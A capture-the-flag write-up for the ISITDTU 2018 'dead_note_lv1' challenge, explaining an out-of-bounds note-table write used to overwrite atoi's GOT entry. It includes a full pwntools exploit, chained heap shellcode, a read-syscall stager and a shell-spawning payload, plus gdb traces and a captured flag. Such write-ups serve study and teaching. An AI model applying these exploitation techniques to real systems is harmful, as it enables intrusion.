ISITDTU CTF 2018 Quals - dead_note_lv1

19 Solves

nc 159.89.197.67 3333

Link Binary: https://bit.ly/2LSmqQt

Attachment: dead_note_lv1 xpl.py

CANARY    : ENABLED
FORTIFY   : disabled
NX        : disabled
PIE       : ENABLED
RELRO     : Partial
********************Dead Note*******************
*                                              *
* 1 - Add Note                                 *
* 2 - Del Note                                 *
* 3 - Exit                                     *
*                                              *
************************************************
Your choice:

From the first look of the menu, we could expect a regular heap pwn, except that it’s not…

When trying to add new notes, it will mostly always complain about Big size~~ not letting us add a new note, so let’s take a look at the function for adding notes:

void add_note() {
  char input[16];

  printf("Index: ");
  int idx = read_number();

  printf("Number of Note: ");
  int number = read_number();

  if (number > 0 && number <= MAX_READ) {      
    printf("Content: ");
    memset(input, 0, 16);
    read_string(input, 8);

    if (strlen(input) <= 3)
    {
      for (int i = 0; i < number; ++i)
        NOTE_TABLE[idx + i] = strdup(input);  // oob write

      MAX_READ -= number;

      puts("Done~~");
    }
    else
      puts("Big size~~");    
  }
  else
    puts("Out of bound~~");  
}

So, we’re only allowed to add new notes with a max length of 3 bytes. Our input will then be copied to the heap via strdup, which will allocate consecutive 0x20 chunks on the heap and put our string into it.

The function fails to check, if the idx is inside the note table, so we can use this to overwrite arbitrary addresses in the bss with the address to our note. This might come in handy later on.

long delete_note()
{
  printf("Index: ");
  int idx = read_number();

  if ( NOTE_TABLE[idx] )                  // No check on index
    puts("Can not delete blank note~~");  // shows message, but doesn't return

  free(NOTE_TABLE[idx]);
  NOTE_TABLE[v1] = 0LL;

  return (MAX_READ++ + 1);
}

The delete_note function can be a bit confusing, because if we specify a note, that exists, it will show the message Can not delete blank note~~, but not complain if we select a note, that doesn’t exist.

But that message can be ignored, since it won’t return, but execute the free anyways. Like add_note, it also fails to check if index is inside the note boundary, which could be used to free pointers before our note list. Though this isn’t useful for exploiting this challenge.

While running vmap in gdb, it gets quite obvious, what’s the target of the challenge:

gdb-peda$ vmmap
Start              End                Perm  Name
0x0000555555554000 0x0000555555556000 r-xp  /vagrant/Challenges/isit/pwn/deadnote/dead_note_lv1
0x0000555555755000 0x0000555555756000 r-xp  /vagrant/Challenges/isit/pwn/deadnote/dead_note_lv1
0x0000555555756000 0x0000555555757000 rwxp  /vagrant/Challenges/isit/pwn/deadnote/dead_note_lv1
0x0000555555757000 0x0000555555759000 rwxp  [heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r-xp  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rwxp  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rwxp  mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fe6000 0x00007ffff7fe9000 rwxp  mapped
0x00007ffff7ff7000 0x00007ffff7ffa000 r--p  [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp  [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r-xp  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rwxp  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rwxp  mapped
0x00007ffffffde000 0x00007ffffffff000 rwxp  [stack]
0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]

The heap is marked rwx, so we could use add_note to place some shellcode there. But how could we get it to execute?

Well, there comes the oob write from add_note to help. Since, we can specify negative indices, and the got table is before the NOTE_TABLE, we can just add a note and store its address in atoi got.

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "159.89.197.67"
PORT = 3333

def add_note(idx, number, content):
  r.sendline("1")
  r.sendlineafter(": ", str(idx))
  r.sendlineafter(": ", str(number))
  r.sendafter(": ", content)
  r.recvuntil("Your choice: ")

def del_note(idx):
  r.sendline("2")
  r.sendlineafter(": ", str(idx))
  r.recvuntil("Your choice: ")

def exploit(r):
  # calculate offset for atoi got
  dest = -(0x2020e0 - e.got["atoi"]) / 8

  # create a note and put its address into atoi got  
  add_note(dest, 1, "aaa")

  r.interactive()

  return

if __name__ == "__main__":
  e = ELF("./dead_note_lv1")

  if len(sys.argv) > 1:    
    r = remote(HOST, PORT)
    exploit(r)
  else:
    LOCAL = True
    r = process("./dead_note_lv1")
    print util.proc.pidof(r)
    pause()
    exploit(r)

The next time, we enter some input in the menu, the binary will try to convert it to a number by calling atoi (with our input as argument), resulting into jumping into our (invalid) aaa shellcode on the heap.

*] '/vagrant/Challenges/isit/pwn/deadnote/dead_note_lv1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
[+] Starting local process './dead_note_lv1': pid 1750
[1750]
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b04260 (<__read_nocancel+7>: cmp    rax,0xfffffffffffff001)
RDX: 0xf
RSI: 0x7fffffffe4a0 ('A' <repeats 16 times>, "`JUUUU")
RDI: 0x7fffffffe4a0 ('A' <repeats 16 times>, "`JUUUU")
RBP: 0x7fffffffe4c0 --> 0x7fffffffe4d0 --> 0x555555555020 (push   r15)
RSP: 0x7fffffffe4a0 ('A' <repeats 16 times>, "`JUUUU")
RIP: 0x555555554c3a (call   0x555555554a20 <atoi@plt>)
R8 : 0x7ffff7fe7700 (0x00007ffff7fe7700)
R9 : 0xd ('\r')
R10: 0x7ffff7dd1b78 --> 0x555555759020 --> 0x0
R11: 0x246
R12: 0x555555554a60 (xor    ebp,ebp)
R13: 0x7fffffffe5b0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555554c2e:  lea    rax,[rbp-0x20]
   0x555555554c32:  mov    rdi,rax
   0x555555554c35:  mov    eax,0x0
=> 0x555555554c3a:  call   0x555555554a20 <atoi@plt>
   0x555555554c3f:  mov    rdx,QWORD PTR [rbp-0x8]
   0x555555554c43:  xor    rdx,QWORD PTR fs:0x28
   0x555555554c4c:  je     0x555555554c53
   0x555555554c4e:  call   0x5555555549a0 <__stack_chk_fail@plt>
Guessed arguments:
arg[0]: 0x7fffffffe4a0 ('A' <repeats 16 times>, "`JUUUU")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4a0 ('A' <repeats 16 times>, "`JUUUU")
0008| 0x7fffffffe4a8 ("AAAAAAAA`JUUUU")
0016| 0x7fffffffe4b0 --> 0x555555554a60 (xor    ebp,ebp)
0024| 0x7fffffffe4b8 --> 0xb290969e8e0a6f00
[------------------------------------------------------------------------------]

...

[-------------------------------------code-------------------------------------]
   0x555555554a10 <signal@plt>: jmp    QWORD PTR [rip+0x201652]        # 0x555555756068
   0x555555554a16 <signal@plt+6>: push   0xa
   0x555555554a1b <signal@plt+11>:  jmp    0x555555554960
=> 0x555555554a20 <atoi@plt>: jmp    QWORD PTR [rip+0x20164a]        # 0x555555756070
 | 0x555555554a26 <atoi@plt+6>: push   0xb
 | 0x555555554a2b <atoi@plt+11>:  jmp    0x555555554960
 | 0x555555554a30 <exit@plt>: jmp    QWORD PTR [rip+0x201642]        # 0x555555756078
 | 0x555555554a36 <exit@plt+6>: push   0xc
 |->   0x555555759010:  (bad)  
       0x555555759011:  (bad)
       0x555555759012:  (bad)
       0x555555759013:  add    BYTE PTR [rax],al
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]

[-------------------------------------code-------------------------------------]
=> 0x555555759010:  (bad)  
   0x555555759011:  (bad)  
   0x555555759012:  (bad)  
   0x555555759013:  add    BYTE PTR [rax],al
[------------------------------------stack-------------------------------------]

Ok, so now we’re able to execute our super short shellcode, but how to do anything useful with it. Well, we can use shellcode, that jumps from one chunk to the next.

gdb-peda$ x/30gx 0x0000555555759010-0x10
0x555555759000: 0x0000000000000000  0x0000000000000021
0x555555759010: 0x0000000000626262  0x0000000000000000
0x555555759020: 0x0000000000000000  0x0000000000000021
0x555555759030: 0x0000000000636363  0x0000000000000000
0x555555759040: 0x0000000000000000  0x0000000000000021
0x555555759050: 0x0000000000646464  0x0000000000000000
0x555555759060: 0x0000000000000000  0x0000000000020fa1

Our shellcodes are stored exactly 0x20 bytes from each other, so we could do a jmp +0x20 in every shellcode to jump to the next chunk. Since a jmp takes up at least 2 bytes, we have 1 byte per shellcode chunk to do something useful (also we’ll jmp +0x1f, since the offset is moved by one after executing the first opcode).

>>> asm ("jmp $+0x1f")
'\xeb\x1d'

Though with only 1 opcode, we won’t be able to do a syscall or something similar useful.

But take a closer look at the registers, when our first shellcode gets executed. Since it’s calling atoi it will hold our last input in rsi (16 bytes of input that is) and the stack is also marked rwx. This would make a good target for a stager shellcode, if we would be able to jump there.

Well, we can, by just pushing rsi to the stack and then do a ret, which both happen to be 1 opcode instructions.

So, our attack plan looks like this

  • Put our jump to input shellcode in multiple notes connected with jmps
  • Return to our input shellcode
  • Let the input shellcode read another shellcode and execute that one
  • Give it a shellcode, finally executing a shell

To make the first one easier, I allocated a dummy note at the start of the heap, which we could later free and then reallocate into atoi got, so we can start from the beginning of the heap:

def exploit(r):
  context.arch = "amd64"

  # Jump to input shellcode
  SC = """
    push rsi
    ret
  """

  payload = asm(SC)

  log.info("Create dummy note on heap")
  add_note(0, 1, "dum")
  counter = 1

  log.info("Write payload to heap")
  for ch in payload[1:]:
    add_note(counter, 1, "%c%s" % (ch, "\xeb\x1d"))
    counter += 1

  log.info("Remove dummy note and write first payload opcode to heap")
  del_note(0)

  dest = -(0x2020e0 - e.got["atoi"]) / 8
  add_note(dest, 1, "%c%s" % (payload[0], "\xeb\x1d"))

  log.info("Send stager shellcode as input to atoi")
  SC2 = """
    mov dl, 0xff
    xor rdi, rdi
    xor rax, rax
    syscall
  """

  r.sendline(asm(SC2))

  r.interactive()

  return

After adding the note into atoi got the binary will wait for our input, which will be the stager shellcode and then jump into our heap shellcode

[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b04260 (<__read_nocancel+7>: cmp    rax,0xfffffffffffff001)
RDX: 0xa ('\n')
RSI: 0x7fffffffe4a0 --> 0xc03148ff3148ffb2
RDI: 0x7fffffffe4a0 --> 0xc03148ff3148ffb2
RBP: 0x7fffffffe4c0 --> 0x7fffffffe4d0 --> 0x555555555020 (push   r15)
RSP: 0x7fffffffe498 --> 0x555555554c3f (mov    rdx,QWORD PTR [rbp-0x8])
RIP: 0x555555554a20 (<atoi@plt>:  jmp    QWORD PTR [rip+0x20164a]        # 0x555555756070)
R8 : 0x7ffff7fe7700 (0x00007ffff7fe7700)
R9 : 0xd ('\r')
R10: 0x0
R11: 0x246
R12: 0x555555554a60 (xor    ebp,ebp)
R13: 0x7fffffffe5b0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555554a10 <signal@plt>: jmp    QWORD PTR [rip+0x201652]        # 0x555555756068
   0x555555554a16 <signal@plt+6>: push   0xa
   0x555555554a1b <signal@plt+11>:  jmp    0x555555554960
=> 0x555555554a20 <atoi@plt>: jmp    QWORD PTR [rip+0x20164a]        # 0x555555756070
 | 0x555555554a26 <atoi@plt+6>: push   0xb
 | 0x555555554a2b <atoi@plt+11>:  jmp    0x555555554960
 | 0x555555554a30 <exit@plt>: jmp    QWORD PTR [rip+0x201642]        # 0x555555756078
 | 0x555555554a36 <exit@plt+6>: push   0xc
 |->   0x555555759010:  push   rsi
       0x555555759011:  jmp    0x555555759030
       0x555555759013:  add    BYTE PTR [rax],al
       0x555555759015:  add    BYTE PTR [rax],al
                                                                  JUMP is taken

...

[-------------------------------------code-------------------------------------]
   0x55555575900a:  add    BYTE PTR [rax],al
   0x55555575900c:  add    BYTE PTR [rax],al
   0x55555575900e:  add    BYTE PTR [rax],al
=> 0x555555759010:  push   rsi
   0x555555759011:  jmp    0x555555759030
   0x555555759013:  add    BYTE PTR [rax],al
   0x555555759015:  add    BYTE PTR [rax],al
   0x555555759017:  add    BYTE PTR [rax],al
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe498 --> 0x555555554c3f (mov    rdx,QWORD PTR [rbp-0x8])
0008| 0x7fffffffe4a0 --> 0xc03148ff3148ffb2
0016| 0x7fffffffe4a8 --> 0x7fffff00050f

...

 0x555555759010:  push   rsi
=> 0x555555759011:  jmp    0x555555759030
 | 0x555555759013:  add    BYTE PTR [rax],al
 | 0x555555759015:  add    BYTE PTR [rax],al
 | 0x555555759017:  add    BYTE PTR [rax],al
 | 0x555555759019:  add    BYTE PTR [rax],al
 |->   0x555555759030:  ret    
       0x555555759031:  jmp    0x555555759050
       0x555555759033:  add    BYTE PTR [rax],al
       0x555555759035:  add    BYTE PTR [rax],al
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe490 --> 0x7fffffffe4a0 --> 0xc03148ff3148ffb2      <== Pointer to our input now on stack

...

RSI: 0x7fffffffe4a0 --> 0xc03148ff3148ffb2
[-------------------------------------code-------------------------------------]
=> 0x555555759030:  ret    
   0x555555759031:  jmp    0x555555759050
   0x555555759033:  add    BYTE PTR [rax],al
   0x555555759035:  add    BYTE PTR [rax],al
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe490 --> 0x7fffffffe4a0 --> 0xc03148ff3148ffb2

...

[-------------------------------------code-------------------------------------]
   0x7fffffffe49c:  push   rbp
   0x7fffffffe49d:  push   rbp
   0x7fffffffe49e:  add    BYTE PTR [rax],al
=> 0x7fffffffe4a0:  mov    dl,0xff
   0x7fffffffe4a2:  xor    rdi,rdi
   0x7fffffffe4a5:  xor    rax,rax
   0x7fffffffe4a8:  syscall
   0x7fffffffe4aa:  add    bh,bh
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe498 --> 0x555555554c3f (mov    rdx,QWORD PTR [rbp-0x8])

We’re now in our input shellcode, which just increases rdx and does a read syscall into the address from rsi. Since rsi still points to our input, we’ll be overwriting our current input shellcode.

With 255 bytes, we’re free to do any shellcode, so we’ll just be sending a sh() .

payload = "A"*11
payload += asm(shellcraft.amd64.sh())

r.sendline(payload)

We add a padding at the start of our payload, since rsi is pointing to the start of our input, and we already moved 11 bytes in our shellcode, so after sending this shellcode

[-------------------------------------code-------------------------------------]
   0x7fffffffe4a7:  rex.B
   0x7fffffffe4a8:  rex.B
   0x7fffffffe4a9:  rex.B
=> 0x7fffffffe4aa:  rex.B push 0x68
   0x7fffffffe4ad:  movabs rax,0x732f2f2f6e69622f
   0x7fffffffe4b7:  push   rax
   0x7fffffffe4b8:  mov    rdi,rsp
   0x7fffffffe4bb:  push   0x1016972
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe498 --> 0x555555554c3f (mov    rdx,QWORD PTR [rbp-0x8])
0008| 0x7fffffffe4a0 ('A' <repeats 11 times>, "jhH¸/bin///sPH\211çhri\001\001\201\064$\001\001\001\001\061öVj\b^H\001æVH\211æ1Òj;X\017\005\nÿ\177")

our existing shellcode was overwritten and it continues execution on 0x7fffffffe4aa where our sh() shellcode now starts, finally rewarding us with a shell.

deadnote python working.py 1
[*] '/vagrant/Challenges/isit/pwn/deadnote/dead_note_lv1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
[+] Opening connection to 159.89.197.67 on port 3333: Done
[*] Create dummy note on heap
[*] Write payload to heap
[*] Remove dummy note and write first payload opcode to heap
[*] Send stager shellcode as input to atoi
[*] Send sh() shellcode to trigger shell
[*] Switching to interactive mode
$ cd /home/dead_note_lv1
$ cat flag
ISITDTU{756d6e4267751936c6b045ae7bbfc26f}